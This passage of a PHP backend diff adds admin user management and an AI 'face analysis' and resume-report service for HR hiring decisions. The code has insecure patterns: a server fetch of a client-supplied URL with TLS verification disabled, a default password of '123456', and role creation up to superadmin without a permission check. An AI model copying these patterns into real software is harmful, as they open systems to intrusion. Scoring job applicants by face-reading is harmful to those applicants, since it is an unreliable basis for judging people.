+ 'heic' => 'image/heic',
+ 'heif' => 'image/heif',
+ 'pdf' => 'application/pdf',
+ 'doc' => 'application/msword',
+ 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+ ];
+ return $map[$ext] ?? 'application/octet-stream';
+ }
+}
diff --git a/api/app/controller/admin/User.php b/api/app/controller/admin/User.php
new file mode 100644
index 0000000..355ca2c
--- /dev/null
+++ b/api/app/controller/admin/User.php
@@ -0,0 +1,206 @@
+request->user ?? null;
+ if (!$user) {
+ return error('未登录', 401);
+ }
+
+ $page = Request::param('page', 1);
+ $pageSize = Request::param('pageSize', 10);
+ $keyword = Request::param('keyword', '');
+ $role = Request::param('role', '');
+ $status = Request::param('status', '');
+
+ $where = [];
+ if ($keyword) {
+ $where[] = ['username|email|phone', 'like', '%' . $keyword . '%'];
+ }
+ if ($role) {
+ $where['role'] = $role;
+ }
+ if ($status !== '') {
+ $where['status'] = $status;
+ }
+
+ // 根据角色过滤
+ if (($user['role'] ?? '') === 'enterprise_admin') {
+ // 企业管理员只能查看自己企业的用户
+ $where['enterpriseId'] = $user['enterpriseId'] ?? null;
+ } else {
+ // 普通管理员可以查看所有管理员(不包括超级管理员)
+ $where[] = ['role', 'in', ['admin', 'enterprise_admin']];
+ }
+
+ $list = UserModel::where($where)
+ ->order('createdAt', 'desc')
+ ->page($page, $pageSize)
+ ->select();
+
+ $total = UserModel::where($where)->count();
+
+ return paginate_response($list, $total, $page, $pageSize);
+ }
+
+ /**
+ * 获取用户详情
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function detail($id)
+ {
+ $user = UserModel::find($id);
+ if (!$user) {
+ return error('用户不存在', 404);
+ }
+
+ $userData = $user->toArray();
+ unset($userData['password']);
+
+ return success($userData);
+ }
+
+ /**
+ * 创建用户
+ * @return \think\response\Json
+ */
+ public function create()
+ {
+ $data = Request::post();
+
+ // 检查用户名是否已存在
+ if (UserModel::where('username', $data['username'])->find()) {
+ return error('用户名已存在');
+ }
+
+ // 检查邮箱是否已存在
+ if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) {
+ return error('邮箱已被注册');
+ }
+
+ // 验证角色(只允许管理员角色)
+ $allowedRoles = ['admin', 'enterprise_admin', 'superadmin'];
+ $role = $data['role'] ?? 'admin';
+ if (!in_array($role, $allowedRoles)) {
+ return error('角色必须是管理员类型', 400);
+ }
+
+ $user = new UserModel();
+ $user->username = $data['username'];
+ $user->password = $data['password'] ?? '123456'; // 默认密码
+ $user->email = $data['email'] ?? '';
+ $user->phone = $data['phone'] ?? '';
+ $user->role = $role;
+ $user->enterpriseId = $data['enterpriseId'] ?? $data['enterprise_id'] ?? null;
+ $user->status = $data['status'] ?? 1;
+ $user->save();
+
+ $userData = $user->toArray();
+ unset($userData['password']);
+
+ return success($userData, '创建成功');
+ }
+
+ /**
+ * 更新用户
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function update($id)
+ {
+ $user = UserModel::find($id);
+ if (!$user) {
+ return error('用户不存在', 404);
+ }
+
+ $data = Request::put();
+
+ // 如果更新用户名,检查是否重复
+ if (isset($data['username']) && $data['username'] != $user->username) {
+ if (UserModel::where('username', $data['username'])->find()) {
+ return error('用户名已存在');
+ }
+ }
+
+ // 如果更新邮箱,检查是否重复
+ if (isset($data['email']) && $data['email'] != $user->email) {
+ if (!empty($data['email']) && UserModel::where('email', $data['email'])->find()) {
+ return error('邮箱已被注册');
+ }
+ }
+
+ // 如果更新密码
+ if (isset($data['password'])) {
+ $user->password = $data['password']; // 会自动加密
+ }
+
+ $user->save($data);
+
+ $userData = $user->toArray();
+ unset($userData['password']);
+
+ return success($userData, '更新成功');
+ }
+
+ /**
+ * 删除用户(软删除)
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function delete($id)
+ {
+ $user = UserModel::find($id);
+ if (!$user) {
+ return error('用户不存在', 404);
+ }
+
+ // 检查是否已删除
+ if ($user->deletedAt) {
+ return error('用户已被删除', 400);
+ }
+
+ // 不能删除自己
+ $currentUser = $this->request->user ?? null;
+ if ($currentUser && ($currentUser['userId'] ?? $currentUser['user_id'] ?? null) == $id) {
+ return error('不能删除自己', 400);
+ }
+
+ // 软删除(设置 deletedAt 时间戳)
+ $user->delete();
+ return success(null, '删除成功');
+ }
+
+ /**
+ * 启用/禁用用户
+ * @param int $id
+ * @return \think\response\Json
+ */
+ public function toggleStatus($id)
+ {
+ $user = UserModel::find($id);
+ if (!$user) {
+ return error('用户不存在', 404);
+ }
+
+ $user->status = $user->status == 1 ? 0 : 1;
+ $user->save();
+
+ return success($user, '操作成功');
+ }
+}
+
diff --git a/api/app/controller/api/Analyze.php b/api/app/controller/api/Analyze.php
new file mode 100644
index 0000000..7fc4ac2
--- /dev/null
+++ b/api/app/controller/api/Analyze.php
@@ -0,0 +1,1534 @@
+request);
+ if ($earlyToken) {
+ $earlyPayload = JwtService::verifyToken($earlyToken);
+ if ($earlyPayload && ($earlyPayload['source'] ?? '') === 'wechat') {
+ $earlyUserId = (int) ($earlyPayload['user_id'] ?? $earlyPayload['userId'] ?? 0);
+ }
+ }
+ // 三个变量各司其职(同 Test::submit 逻辑):
+ // $enterpriseId —— 仅企业测试(请求体传入)才非 null,决定走 admin_enterprise 定价
+ // $pricingEnterpriseId —— 个人测试时从 wechat_users 取,走 admin_personal + eid 定价
+ // $writeEnterpriseId —— 写入 test_results.enterpriseId(企业测试 or 绑定企业都记录)
+ $pricingEnterpriseId = $enterpriseId;
+ $writeEnterpriseId = $enterpriseId;
+ if ($enterpriseId === null && $earlyUserId > 0) {
+ $boundEid = Db::name('wechat_users')->where('id', $earlyUserId)->value('enterpriseId');
+ if (!empty($boundEid)) {
+ $pricingEnterpriseId = (int) $boundEid; // admin_personal + eid
+ $writeEnterpriseId = (int) $boundEid; // 历史记录展示企业名
+ }
+ }
+
+ if (empty($photoUrls)) {
+ return error('请上传至少一张人脸照片', 400);
+ }
+
+ $provider = AiProviderModel::where('enabled', 1)
+ ->whereRaw('(visible IS NULL OR visible = 1)')
+ ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)')
+ ->order('id', 'asc')
+ ->find();
+
+ if (!$provider) {
+ return error('暂无可用的 AI 服务,请联系管理员配置', 503);
+ }
+
+ $apiKey = $provider->getRawApiKey();
+
+ if (empty($apiKey)) {
+ return error('AI 服务未配置有效密钥', 503);
+ }
+
+ // 前置人脸检测:将全部上传图片一次性发给 AI 判断,不通过则立即返回,不进行完整分析
+ if (!$this->quickFaceCheck($photoUrls, $provider, $apiKey)) {
+ return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422);
+ }
+
+ // 企业版:拉取用户已完成的 MBTI/PDP/DISC 测试数据 + 简历(默认或最新),拼入 prompt 供 AI 交叉验证
+ $existingTestContext = '';
+ $resumeImageUrl = '';
+ if ($enterpriseId !== null && $earlyUserId > 0) {
+ try {
+ $latestTests = TestController::getLatestResultsForResume($earlyUserId, $enterpriseId);
+ $resumeText = '';
+ $resumeFileUrl = '';
+ // 从 enterprise_resume_uploads 读取简历:优先默认,无则最新
+ $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $earlyUserId)->where('enterpriseId', $enterpriseId);
+ $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find();
+ $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find();
+ if ($resumeUpload && !empty($resumeUpload['fileUrl'])) {
+ $resumeFileUrl = $resumeUpload['fileUrl'];
+ // PDF/docx 提取文本入 prompt;图片需作为 image_url 传入才能被 AI 读取;doc 仅提供文件名
+ $resumeText = $this->extractResumeFileText($resumeFileUrl);
+ $ext = strtolower(pathinfo(parse_url($resumeFileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION));
+ if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) {
+ $resumeImageUrl = $resumeFileUrl;
+ }
+ }
+ $ctx = $this->buildResumeContext($latestTests, $resumeText, $resumeFileUrl);
+ if ($ctx !== '') {
+ $existingTestContext = $ctx;
+ }
+ } catch (\Throwable $e) {
+ // 拉取失败不阻塞分析
+ }
+ }
+
+ try {
+ $result = $this->callAiAnalyze($provider, $apiKey, $photoUrls, $enterpriseId, $existingTestContext, $resumeImageUrl);
+ } catch (\Throwable $e) {
+ Log::warning('faceAnalyze: AI 调用失败 ' . $e->getMessage());
+ return error('AI 分析失败:' . $e->getMessage(), 500);
+ }
+
+ // 完整分析中 AI 再次确认无人脸(双重保障)
+ if (!empty($result['_noFace'])) {
+ return error('图片中未检测到人脸,请重新拍摄清晰的正面照片', 422);
+ }
+
+ // 将用户上传的图片 URL 一并写入结果,方便 mbti_test_results 保留原始图片记录
+ $storePayload = $result;
+ if (is_array($storePayload)) {
+ // 若模型结果中尚未包含 photoUrls,则追加一份
+ if (!isset($storePayload['photoUrls'])) {
+ $storePayload['photoUrls'] = $photoUrls;
+ }
+ }
+
+ // 当前标准定价(分)与是否需要付费
+ // $enterpriseId=非null 时走企业版定价;=null 时走个人版定价(含绑定企业的 admin_personal)
+ $standardAmountFen = $this->getStandardAmountByTestType('face', $enterpriseId, $pricingEnterpriseId);
+ $requiresPayment = $standardAmountFen > 0 ? 1 : 0;
+
+ // 有 token 时顺带写入测试记录,避免小程序多请求一次 /api/test/submit
+ $testResultId = null;
+ $token = JwtService::getTokenFromRequest($this->request);
+ if ($token) {
+ $payload = JwtService::verifyToken($token);
+ if ($payload && ($payload['source'] ?? '') === 'wechat') {
+ $userId = (int) ($payload['user_id'] ?? $payload['userId'] ?? 0);
+ if ($userId > 0) {
+ try {
+ $now = time();
+
+ $testResultId = Db::name('test_results')->insertGetId([
+ 'userId' => $userId,
+ 'enterpriseId' => $writeEnterpriseId,
+ 'testScope' => $enterpriseFromRequest ? 'enterprise' : 'personal',
+ 'testType' => 'face',
+ 'resultData' => is_string($storePayload) ? $storePayload : json_encode($storePayload, JSON_UNESCAPED_UNICODE),
+ 'score' => null,
+ 'orderId' => null,
+ 'requiresPayment' => $requiresPayment,
+ 'isPaid' => 0,
+ 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null,
+ 'paidAt' => null,
+ 'createdAt' => $now,
+ 'updatedAt' => $now,
+ ]);
+
+ if ($testResultId) {
+ UserProfileModel::recordTest($userId, 'face', $testResultId, $writeEnterpriseId, $now);
+ // 仅当 enterpriseId 来自请求体(企业分享链接)时才更新绑定关系
+ if ($enterpriseFromRequest && $enterpriseId !== null && $enterpriseId > 0) {
+ Db::name('wechat_users')->where('id', $userId)->update([
+ 'enterpriseId' => $enterpriseId,
+ 'updatedAt' => $now,
+ ]);
+ }
+ // 面相分析由本接口直接写入 test_results,也要补触发测试完成佣金
+ try {
+ \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'face');
+ } catch (\Throwable $e) {
+ // 分销失败不影响主流程
+ }
+ }
+ } catch (\Throwable $e) {
+ // 写入失败不影响返回分析结果
+ }
+ }
+ }
+ }
+
+ // 构造返回给前端的 payload(不影响入库的原始结果)
+ $responsePayload = is_array($storePayload) ? $storePayload : [];
+
+ // 前端可直接使用的付费信息(避免二次请求 runtime)
+ $responsePayload['_payment'] = [
+ 'requiresPayment' => $requiresPayment,
+ 'amountFen' => $standardAmountFen,
+ 'amountYuan' => $standardAmountFen > 0 ? round($standardAmountFen / 100, 2) : 0,
+ ];
+
+ // 若该类型需付费才显示完整报告:返回给前端的也做脱敏,与详情/历史一致(只显示部分,付费后从详情接口拿完整)
+ if ($requiresPayment) {
+ $responsePayload['faceAnalysis'] = null;
+ $responsePayload['boneAnalysis'] = null;
+ }
+
+ // 把本次测试记录ID一起返回,便于解锁后通过 /api/test/detail 拉取完整数据
+ if ($testResultId) {
+ $responsePayload['_testResultId'] = $testResultId;
+ }
+
+ return success($responsePayload);
+ }
+
+ /**
+ * 简历综合分析:基于当前用户人脸、MBTI、PDP、DISC 四种测试的最近一次结果,拼接后调用 AI 生成综合分析(纯文本)
+ * POST api/analyze/resume 需登录(wechat)
+ */
+ public function resumeAnalysis()
+ {
+ $user = $this->request->user ?? null;
+ if (!$user || ($user['source'] ?? '') !== 'wechat') {
+ return error('请先登录', 401);
+ }
+ $userId = (int) ($user['user_id'] ?? $user['userId'] ?? 0);
+ if ($userId <= 0) {
+ return error('请先登录', 401);
+ }
+
+ $input = Request::post();
+ $resumeText = trim((string) ($input['resumeText'] ?? $input['resume'] ?? ''));
+ $fileUrl = trim((string) ($input['fileUrl'] ?? ''));
+
+ // 当前企业:优先用请求体传入,其次用用户绑定企业(需在简历自动读取之前确定 enterpriseId)
+ $enterpriseIdFromRequest = isset($input['enterpriseId']) && (int) $input['enterpriseId'] > 0;
+ $enterpriseId = $enterpriseIdFromRequest ? (int) $input['enterpriseId'] : 0;
+ if ($enterpriseId <= 0) {
+ $boundEid = Db::name('wechat_users')->where('id', $userId)->value('enterpriseId');
+ $enterpriseId = !empty($boundEid) ? (int) $boundEid : 0;
+ }
+
+ // 前端未传简历时,自动从 enterprise_resume_uploads 读取:优先取默认简历,无则取最新
+ if ($resumeText === '' && $fileUrl === '') {
+ $resumeQuery = Db::name('enterprise_resume_uploads')->where('userId', $userId);
+ if ($enterpriseId > 0) {
+ $resumeQuery = $resumeQuery->where('enterpriseId', $enterpriseId);
+ }
+ $defaultUpload = (clone $resumeQuery)->where('is_default', 1)->order('createdAt', 'desc')->find();
+ $resumeUpload = $defaultUpload ?: $resumeQuery->order('createdAt', 'desc')->find();
+ if ($resumeUpload && !empty($resumeUpload['fileUrl'])) {
+ $fileUrl = $resumeUpload['fileUrl'];
+ }
+ }
+
+ // 尝试从 OSS/远程 URL 拉取文件并提取文本(PDF 做基础提取,其他格式只记录文件名)
+ if ($fileUrl !== '' && $resumeText === '') {
+ $resumeText = $this->extractResumeFileText($fileUrl);
+ }
+
+ // 定价检查:企业版走 admin_enterprise,否则走 admin_personal
+ $pricingEnterpriseId = $enterpriseId > 0 ? $enterpriseId : null;
+ $standardAmountFen = $this->getStandardAmountByTestType('resume', $pricingEnterpriseId, $pricingEnterpriseId);
+ $requiresPayment = $standardAmountFen > 0 ? 1 : 0;
+
+ $latest = TestController::getLatestResultsForResume($userId, $enterpriseId > 0 ? $enterpriseId : null);
+ // face/ai 暂不计入,有 MBTI / DISC / PDP 任意一项即可视为有测试数据
+ $hasTests = $latest['mbti'] !== null || $latest['disc'] !== null || $latest['pdp'] !== null;
+ $hasAnySource = $hasTests || $resumeText !== '' || $fileUrl !== '';
+ if (!$hasAnySource) {
+ return error('暂无可用于分析的信息,请先上传简历或完成至少一项测试', 422);
+ }
+
+ $userContext = $this->buildResumeContext($latest, $resumeText, $fileUrl);
+ // 仅统计 MBTI / DISC / PDP 是否齐全(face/ai 暂不参与)
+ $hasAllFour = $latest['mbti'] !== null && $latest['disc'] !== null && $latest['pdp'] !== null;
+ $systemPrompt = $this->getReportSummaryPrompt($hasAllFour, $hasTests);
+ $provider = AiProviderModel::where('enabled', 1)
+ ->whereRaw('(visible IS NULL OR visible = 1)')
+ ->whereRaw('(apiKey IS NOT NULL AND LENGTH(TRIM(apiKey)) > 0)')
+ ->order('id', 'asc')
+ ->find();
+ if (!$provider) {
+ return error('暂无可用的 AI 服务,请联系管理员配置', 503);
+ }
+ $apiKey = $provider->getRawApiKey();
+ if (empty($apiKey)) {
+ return error('AI 服务未配置有效密钥', 503);
+ }
+
+ $rawContent = $this->callResumeAi($provider, $apiKey, $systemPrompt, $userContext);
+
+ // 尝试解析 AI 返回的结构化 JSON;失败时降级为纯文本兼容格式
+ $parsed = null;
+ $stripped = trim($rawContent);
+ // 去掉 AI 可能包裹的 markdown 代码块
+ if (preg_match('/```(?:json)?\s*([\s\S]+?)\s*```/', $stripped, $m)) {
+ $stripped = $m[1];
+ }
+ $decoded = json_decode($stripped, true);
+ if (is_array($decoded) && isset($decoded['overview'])) {
+ $parsed = $decoded;
+ $parsed['fileUrl'] = $fileUrl;
+ }
+ $resultStruct = $parsed ?? ['content' => $rawContent, 'fileUrl' => $fileUrl];
+
+ // 将分析结果持久化到 test_results,供历史记录、统计、分销使用
+ $now = time();
+ $resultData = json_encode($resultStruct, JSON_UNESCAPED_UNICODE);
+ $testResultId = 0;
+ try {
+ $testResultId = (int) Db::name('test_results')->insertGetId([
+ 'userId' => $userId,
+ 'enterpriseId' => $enterpriseId > 0 ? $enterpriseId : null,
+ 'testScope' => $enterpriseId > 0 ? 'enterprise' : 'personal',
+ 'testType' => 'resume',
+ 'resultData' => $resultData,
+ 'requiresPayment' => $requiresPayment,
+ 'isPaid' => $requiresPayment ? 0 : 1,
+ 'paidAmount' => $standardAmountFen > 0 ? $standardAmountFen : null,
+ 'paidAt' => null,
+ 'orderId' => null,
+ 'createdAt' => $now,
+ 'updatedAt' => $now,
+ ]);
+
+ if ($testResultId > 0) {
+ UserProfileModel::recordTest($userId, 'resume', $testResultId, $enterpriseId > 0 ? $enterpriseId : null, $now);
+ // 如果是企业分享链接进入,更新用户绑定关系
+ if ($enterpriseIdFromRequest && $enterpriseId > 0) {
+ Db::name('wechat_users')->where('id', $userId)->update([
+ 'enterpriseId' => $enterpriseId,
+ 'updatedAt' => $now,
+ ]);
+ }
+ }
+ } catch (\Throwable $e) {
+ Log::error('resumeAnalysis: save test_result failed ' . $e->getMessage());
+ }
+
+ // 触发分销佣金(noPayment 场景;有价格时走支付回调结算)
+ if ($testResultId > 0) {
+ try {
+ \app\controller\api\Distribution::settleTestCommission($testResultId, $userId, 'resume');
+ } catch (\Throwable $e) {}
+ }
+
+ $responseData = $resultStruct;
+ $responseData['_testResultId'] = $testResultId;
+ $responseData['_payment'] = [
+ 'requiresPayment' => $requiresPayment,
+ 'amountFen' => $standardAmountFen,
+ 'amountYuan' => $standardAmountFen > 0 ? round($standardAmountFen / 100, 2) : 0,
+ ];
+ return success($responseData);
+ }
+
+ /**
+ * 获取简历综合分析提示词(prompts.resumeReport),为空时返回默认说明
+ */
+ private function getReportSummaryPrompt(bool $hasAllFour, bool $hasTests): string
+ {
+ $defaultPrompt = <<<'PROMPT'
+你是一位服务于 HR 总监、HRBP、人力负责人和中小企业老板的专业人才测评师。
+请根据下方候选人的简历及测试数据,输出一份结构化 JSON 报告,帮助 HR 快速决策,帮助老板一眼看懂用人关键指标。
+
+【重要】只能返回如下 JSON 对象,不能有任何额外文字、注释或 markdown 代码块:
+
+{
+ "version": 2,
+ "mbti": "四字母类型,如 INTJ;无数据则留空字符串",
+ "pdp": "老虎/孔雀/考拉/猫头鹰/变色龙 其一;无数据则留空字符串",
+ "disc": "D/I/S/C 其一;无数据则留空字符串",
+ "overview": "50字以内整体人才画像摘要,HR 看一眼能记住的句子",
+ "portrait": {
+ "coreStrengths": ["优势1", "优势2", "优势3"],
+ "coreRisks": ["风险1", "风险2"],
+ "workStyle": "一句话描述工作风格,如「偏独立作战,需要清晰目标和足够授权」"
+ },
+ "hrView": {
+ "roleRecommend": {
+ "bestFit": ["最适合岗位1", "最适合岗位2", "最适合岗位3"],
+ "notSuitable": ["不适合场景1", "不适合场景2"]
+ },
+ "lifecycle": {
+ "onboarding": "入职适应期建议,约1-2句",
+ "probation": "试用期表现预测,约1-2句",
+ "growth": "6-12个月成长路径预测,约1-2句",
+ "retention": "核心留人因素,约1-2句"
+ },
+ "performance": {
+ "potential": "高潜/中潜/稳健 三选一",
+ "drivers": ["驱动因子1", "驱动因子2"],
+ "risks": ["绩效风险1", "绩效风险2"]
+ },
+ "complianceRisk": {
+ "level": "低/中/高 三选一",
+ "notes": "一句话说明合规风险点"
+ },
+ "teamFit": {
+ "bestTeam": "最适合的团队类型,如「执行型或互补型团队」",
+ "manageAdvice": "管理建议,一句话"
+ }
+ },
+ "bossView": {
+ "headline": "给老板的一句话结论,如「适合担任中层管理,高成长潜力,建议优先考虑」",
+ "metrics": [
+ { "label": "岗位匹配度", "value": "85%", "level": "high" },
+ { "label": "留存预测", "value": "高", "level": "high" },
+ { "label": "合规风险", "value": "低", "level": "low" },
+ { "label": "成长速度", "value": "快", "level": "high" }
+ ],
+ "costInsight": "用人成本与产出比预判,一句话"
+ },
+ "resumeHighlights": "对简历内容的1-2句结构化提炼,无简历数据则留空字符串"
+}
+
+level 字段只允许填 high / medium / low 三个值。
+PROMPT;
+
+ $promptsConfig = SystemConfigModel::where('key', 'prompts')->find();
+ $isCustomPrompt = false;
+ $reportSummary = $defaultPrompt;
+ if ($promptsConfig && !empty($promptsConfig->value)) {
+ $value = $promptsConfig->value;
+ if (is_array($value)) {
+ $arr = $value;
+ } elseif (is_string($value)) {
+ $arr = json_decode($value, true) ?: [];
+ } elseif (is_object($value)) {
+ $arr = (array) $value;
+ } else {
+ $arr = [];
+ }
+ // resumeReport = 简历综合分析专用 key(reportSummary 已被企业版人脸分析占用)
+ $custom = trim($arr['resumeReport'] ?? '');
+ if ($custom !== '') {
+ $reportSummary = $custom;
+ $isCustomPrompt = true;
+ }
+ }
+
+ if ($hasTests && !$hasAllFour) {
+ $reportSummary .= "\n\n【说明】以下仅包含该候选人已完成的测试维度,未完成的维度对应字段请填空字符串,不可臆测。";
+ }
+
+ // 自定义 prompt 可能未声明输出格式,追加一次格式兜底提醒
+ if ($isCustomPrompt) {
+ $reportSummary .= "\n\n【固定输出格式要求】必须严格返回一个 JSON 对象,顶层至少包含 version、overview、portrait、hrView、bossView、resumeHighlights 等字段。不得输出任何额外说明文字或 markdown。";
+ }
+
+ return $reportSummary;
+ }
+
+ /**
+ * 按 人脸 → MBTI → PDP → DISC 顺序拼接四块内容,缺失的块不输出
+ */
+ private function buildResumeContext(array $latest, string $resumeText = '', string $fileUrl = ''): string
+ {
+ $sections = [];
+ if ($resumeText !== '') {
+ $maxLen = 4000;
+ if (function_exists('mb_substr')) {
+ if (mb_strlen($resumeText, 'UTF-8') > $maxLen) {
+ $resumeBody = mb_substr($resumeText, 0, $maxLen, 'UTF-8') . "\n\n(以上为简历内容节选,已截断)";
+ } else {
+ $resumeBody = $resumeText;
+ }
+ } else {
+ if (strlen($resumeText) > $maxLen) {
+ $resumeBody = substr($resumeText, 0, $maxLen) . "\n\n(以上为简历内容节选,已截断)";
+ } else {
+ $resumeBody = $resumeText;
+ }
+ }
+ $sections[] = "## 简历内容\n\n" . $resumeBody;
+ } elseif ($fileUrl !== '') {
+ // 文件已上传但内容无法自动提取(图片/Word 等),提供文件名、类型、地址供参考
+ $path = parse_url($fileUrl, PHP_URL_PATH) ?? $fileUrl;
+ $filename = basename($path);
+ $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
+ $sections[] = "## 简历文件\n\n候选人已上传简历文件:{$filename}\n文件类型:{$ext}\n文件地址:{$fileUrl}\n(内容无法自动解析,请结合测试数据与面相进行分析)";
+ }
+ // face/ai 临时去除,仅拼接 MBTI / PDP / DISC
+ $order = [
+ 'mbti' => 'MBTI',
+ 'pdp' => 'PDP',
+ 'disc' => 'DISC',
+ ];
+ foreach ($order as $key => $title) {
+ $row = $latest[$key] ?? null;
+ if (!$row || empty($row['resultData'])) {
+ continue;
+ }
+ $raw = $row['resultData'];
+ $data = is_string($raw) ? json_decode($raw, true) : $raw;
+ if (is_array($data)) {
+ $data = $this->sanitizeResumeTestData($key, $data);
+ $text = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
+ } else {
+ $text = (string) $raw;
+ }
+ $sections[] = "## {$title}\n\n" . $text;
+ }
+ return implode("\n\n", $sections);
+ }
+
+ /**
+ * 从远程 URL(OSS 等)拉取简历文件并提取可读文本
+ * - PDF:正则提取 BT/ET 块中的文字
+ * - docx:解压 ZIP 解析 word/document.xml 提取文本
+ * - 图片 / doc:返回空(不做处理)
+ */
+ private function extractResumeFileText(string $fileUrl): string
+ {
+ if ($fileUrl === '' || !filter_var($fileUrl, FILTER_VALIDATE_URL)) {
+ return '';
+ }
+
+ $ext = strtolower(pathinfo(parse_url($fileUrl, PHP_URL_PATH) ?? '', PATHINFO_EXTENSION));
+
+ // 图片无法提取文本,直接跳过
+ if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'webp'], true)) {
+ return '';
+ }
+
+ $ctx = stream_context_create([
+ 'http' => [
+ 'timeout' => 15,
+ 'user_agent' => 'Mozilla/5.0',
+ ],
+ 'ssl' => [
+ 'verify_peer' => false,
+ 'verify_peer_name' => false,
+ ],
+ ]);
+ $raw = @file_get_contents($fileUrl, false, $ctx);
+ if ($raw === false || strlen($raw) < 10) {
+ return '';
+ }
+
+ if ($ext === 'docx') {
+ return $this->extractDocxText($raw);
+ }
+
+ if ($ext === 'pdf') {
+ return $this->extractPdfText($raw);
+ }
+
+ return '';
+ }
+
+ /** 从 docx 二进制内容提取文本(docx 为 ZIP,内含 word/document.xml) */
+ private function extractDocxText(string $raw): string
+ {
+ $tmp = tempnam(sys_get_temp_dir(), 'docx_');
+ if ($tmp === false) {
+ return '';
+ }
+ if (file_put_contents($tmp, $raw) === false) {
+ @unlink($tmp);
+ return '';
+ }
+ $zip = new \ZipArchive();
+ if ($zip->open($tmp) !== true) {
+ @unlink($tmp);
+ return '';
+ }
+ $xml = $zip->getFromName('word/document.xml');
+ $zip->close();
+ @unlink($tmp);
+ if ($xml === false || $xml === '') {
+ return '';
+ }
+ // 提取所有 ... 文本节点
+ preg_match_all('/]*>([^<]*)<\/w:t>/u', $xml, $m);
+ $text = isset($m[1]) ? implode('', $m[1]) : '';
+ $text = html_entity_decode($text, ENT_QUOTES | ENT_XML1, 'UTF-8');
+ $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text);
+ return trim(preg_replace('/\s{2,}/', ' ', $text));
+ }
+
+ /** 从 PDF 二进制内容提取文本 */
+ private function extractPdfText(string $raw): string
+ {
+ $text = '';
+ if (preg_match_all('/BT\s+(.*?)\s+ET/s', $raw, $blocks)) {
+ foreach ($blocks[1] as $block) {
+ if (preg_match_all('/\(([^)]*)\)\s*Tj/s', $block, $tj)) {
+ $text .= implode(' ', $tj[1]) . ' ';
+ }
+ if (preg_match_all('/\[(.*?)]\s*TJ/s', $block, $tjArr)) {
+ foreach ($tjArr[1] as $inner) {
+ if (preg_match_all('/\(([^)]*)\)/s', $inner, $parts)) {
+ $text .= implode('', $parts[1]) . ' ';
+ }
+ }
+ }
+ }
+ }
+ $text = preg_replace('/[^\x{4e00}-\x{9fff}\x{3000}-\x{303f}a-zA-Z0-9\s\.,;:!?()()【】\[\]\/\-_@]/u', ' ', $text);
+ return trim(preg_replace('/\s{2,}/', ' ', $text));
+ }
+
+ /**
+ * 精简各测试 resultData,去掉题目/答案等冗余字段,减少 token 消耗
+ */
+ private function sanitizeResumeTestData(string $key, array $data): array
+ {
+ switch ($key) {
+ case 'face':
+ // 人脸分析:只保留结论性字段,去掉图片链接等
+ $keep = [];
+ if (!empty($data['mbti'])) $keep['mbti'] = $data['mbti'];
+ if (!empty($data['pdp'])) $keep['pdp'] = $data['pdp'];
+ if (!empty($data['disc'])) $keep['disc'] = $data['disc'];
+ if (!empty($data['overview'])) $keep['overview'] = $data['overview'];
+ if (!empty($data['personalitySummary'])) $keep['personalitySummary'] = $data['personalitySummary'];
+ if (!empty($data['faceAnalysis'])) $keep['faceAnalysis'] = $data['faceAnalysis'];
+ if (!empty($data['boneAnalysis'])) $keep['boneAnalysis'] = $data['boneAnalysis'];
+ return $keep;
+
+ case 'mbti':
+ // MBTI:只保留类型/维度分数/描述(去掉答案、时间、职业等)
+ $keep = [];
+ if (!empty($data['mbtiType'])) $keep['mbtiType'] = $data['mbtiType'];
+ if (!empty($data['confidence'])) $keep['confidence'] = $data['confidence'];
+ if (!empty($data['dimensionScores'])) $keep['dimensionScores'] = $data['dimensionScores'];
+ if (!empty($data['description'])) {
+ $desc = $data['description'];
+ unset($desc['careers'], $desc['category'], $desc['strengths'], $desc['weaknesses']);
+ $keep['description'] = $desc;
+ }
+ return $keep;
+
+ case 'pdp':
+ // PDP:只保留类型/百分比/描述(去掉答案、职业、装饰字段)
+ $keep = [];
+ if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType'];
+ if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType'];
+ if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages'];
+ if (!empty($data['description'])) {
+ $desc = $data['description'];
+ unset($desc['careers'], $desc['color'], $desc['emoji']);
+ $keep['description'] = $desc;
+ }
+ return $keep;
+
+ case 'disc':
+ // DISC:只保留类型/百分比/描述(去掉答案、职业、装饰字段)
+ $keep = [];
+ if (!empty($data['dominantType'])) $keep['dominantType'] = $data['dominantType'];
+ if (!empty($data['secondaryType'])) $keep['secondaryType'] = $data['secondaryType'];
+ if (!empty($data['percentages'])) $keep['percentages'] = $data['percentages'];
+ if (!empty($data['description'])) {
+ $desc = $data['description'];
+ unset($desc['careers'], $desc['color']);
+ $keep['description'] = $desc;
+ }
+ return $keep;
+
+ default:
+ return $data;
+ }
+ }
+
+ /**
+ * 纯文本对话调用 AI(system + user),返回助手回复正文
+ */
+ private function callResumeAi($provider, string $apiKey, string $systemPrompt, string $userContent): string
+ {
+ $providerId = strtolower($provider->providerId ?? '');
+ $endpoint = !empty($provider->apiEndpoint) ? rtrim($provider->apiEndpoint, '/') : null;
+ $model = $provider->model ?? 'gpt-4o-mini';
+ if (empty($endpoint)) {
+ switch ($providerId) {
+ case 'openai': $endpoint = 'https://api.openai.com/v1'; break;
+ case 'groq': $endpoint = 'https://api.groq.com/openai/v1'; break;
+ case 'deepseek': $endpoint = 'https://api.deepseek.com/v1'; break;
